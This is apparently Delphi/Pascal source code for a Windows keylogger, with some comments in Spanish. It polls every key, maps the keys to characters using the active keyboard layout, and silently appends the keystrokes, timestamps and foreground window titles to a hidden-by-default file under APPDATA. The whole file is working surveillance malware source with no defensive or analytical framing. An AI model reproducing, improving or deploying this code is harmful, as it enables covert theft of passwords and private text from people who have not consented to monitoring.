program Project2;
 //{$APPTYPE CONSOLE}

uses
  Windows,sysutils,
  Tlhelp32;
  var
  FullLogData : String;






 

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;



  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

function IntToStr(i:integer):string;
 var
   s:string;
 begin
   Str(i,s);
   Result:=s;
 end;


    //no funciona GetExeNameByProcID revisar
    //***************************
function GetWindow: string;
 var
   header:HWND;
   apchar:array[0..254] of char;
   pProcID : DWORD;
 begin
   header:=GetForegroundWindow;
   GetWindowText(header, apchar, Length(apchar));
   GetWindowThreadProcessId (header, pProcID);

   result := '['+ansistring(apchar)+']';

 end;
//**********************************************




 function DateTime: string;
 var
   lt : TSYSTEMTIME;
   st : TSYSTEMTIME;
 begin
   GetLocalTime(lt);
   GetSystemTime(st);
   result := '['+(IntToStr(lt.wmonth) + '.'
              + IntToStr(lt.wDay) +  '.'
              + IntToStr(lt.wYear) + ' '
              + IntToStr(lt.wHour) +  ':'
              + IntToStr(lt.wMinute) +  ':'
              + IntToStr(lt.wSecond))+
              ']';
 end;

 function IsKeyPressed(KeyCode: Integer): Boolean;
 begin
     result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
 end;

 VAR
  VirtKey        : UINT;
  ScanCode       : UINT;
  UniEx          : Integer;
  keyboardLayout : HKL;
  keyboardSpeed  : Integer;
  keyboardState  : TKeyboardState;
  strBuffer      : String;
  UnicodeChar    : array[0..1] of WChar;
  strkeyname     : Array[0..32] of AnsiChar;//Char;
  dwThread       : DWORD;
  dwProcess      : DWORD;
  dwHandle       : HWND;
  win, lastwin ,s  : string;
 begin
  //AllocConsole;
  //SetConsoleCP(1251);
  //SetConsoleOutputCp(1251);
  Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);

   WHILE true DO
   BEGIN


     
      If  (win <> GetWindow()) then
       begin
    
   win:=  GetWindow();
   
      savefile(SysUtils.GetEnvironmentVariable('APPDATA')+'\keylist.txt', (#13#10#13#10+DateTime+win));
     end;


    //**************************
     Windows.GetKeyState(VK_CAPITAL);
     Windows.GetKeyboardState(keyboardState);
     dwHandle:= Windows.GetForegroundWindow();
     dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
     keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
     FOR VirtKey := 0 TO $FF DO
       IF IsKeyPressed(VirtKey) THEN
       BEGIN
         ScanCode := MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
         GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
         IF lstrlenA(strkeyname) > 1 THEN
         BEGIN
          IF VirtKey = VK_SPACE  THEN strkeyname := ' ';
          IF VirtKey = VK_RETURN THEN strkeyname := #13#10;

          IF VirtKey = VK_NUMLOCK  THEN strkeyname :=  '[BLOQ NUM]';
          IF VirtKey = VK_BACK    THEN strkeyname :=       '[BACK]';
          IF VirtKey = VK_ESCAPE  THEN strkeyname :=     '[ESC]';
       IF VirtKey =    VK_DELETE  THEN strkeyname :=      '[DEL]';
       IF VirtKey =    VK_CAPITAL THEN strkeyname :=      '[mayusc]';
       IF VirtKey =    VK_TAB      THEN strkeyname :=      '[TAB]';
       IF VirtKey =    VK_F1       THEN strkeyname :=   	 '[F1]';
       IF VirtKey =    VK_F2       THEN strkeyname := 	   '[F2]';
       IF VirtKey =    VK_F3       THEN strkeyname := 	   '[F3]';
       IF VirtKey =    VK_F4       THEN strkeyname := 	   '[F4]';
       IF VirtKey =    VK_F5      THEN strkeyname := 	     '[F5]';
       IF VirtKey =    VK_F6       THEN strkeyname := 	   '[F6]';
       IF VirtKey =    VK_F7       THEN strkeyname := 	   '[F7]';
       IF VirtKey =    VK_F8       THEN strkeyname := 	   '[F8]';
       IF VirtKey =    VK_F9       THEN strkeyname := 	   '[F9]';
       IF VirtKey =    VK_F10      THEN strkeyname := 	   '[F10]';
       IF VirtKey =    VK_F11      THEN strkeyname := 	   '[F11]';
       IF VirtKey =    VK_F12      THEN strkeyname :=      '[f12]';
        //es el numeral de la derecha
        IF VirtKey =VK_NUMPAD0 THEN strkeyname :=    '0';
        IF VirtKey =VK_NUMPAD1 THEN strkeyname :=    '1';
        IF VirtKey =VK_NUMPAD2 THEN strkeyname :=    '2';
        IF VirtKey =VK_NUMPAD3 THEN strkeyname :=    '3';
        IF VirtKey =VK_NUMPAD4 THEN strkeyname :=    '4';
        IF VirtKey =VK_NUMPAD5 THEN strkeyname :=    '5';
        IF VirtKey =VK_NUMPAD6 THEN strkeyname :=    '6';
        IF VirtKey =VK_NUMPAD7 THEN strkeyname :=    '7';
        IF VirtKey =VK_NUMPAD8 THEN strkeyname :=    '8';
        IF VirtKey =VK_NUMPAD9 THEN strkeyname :=    '9';

        //and more













        //  write(strkeyname);
            savefile(SysUtils.GetEnvironmentVariable('APPDATA')+'\keylist.txt', (strkeyname));
          Continue;
         END;
         UniEx := ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
         strBuffer := UnicodeChar;
         SetLength(strBuffer,UniEx);
         // write(strBuffer);    //escribe en consola

           savefile(SysUtils.GetEnvironmentVariable('APPDATA')+'\keylist.txt', (strBuffer));



       END;

     Sleep(keyboardSpeed DIV 4);

   END;

 end.